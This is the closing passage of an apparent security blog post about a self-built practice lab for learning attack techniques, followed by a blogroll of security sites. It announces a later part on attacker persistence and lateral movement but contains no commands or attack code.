Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques.  The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part III will follow with more steps and how an attacker might strengthen its position and move laterally.


		
Tagged , ,
Rational Survivability

Hoff's Ramblings about Information Survivability, Information Centricity, Risk Management and Disruptive Innovation.

SANS Internet Storm Center, InfoCON: green

Increase security awareness. Promote, reinforce and learn security skills.

TaoSecurity

Increase security awareness. Promote, reinforce and learn security skills.

Schneier on Security

Increase security awareness. Promote, reinforce and learn security skills.

Increase security awareness. Promote, reinforce and learn security skills.

Lenny Zeltser on Information Security

Increase security awareness. Promote, reinforce and learn security skills.

Krebs on Security

In-depth security news and investigation

Follow

Get every new post delivered to your Inbox.

Join 34 other followers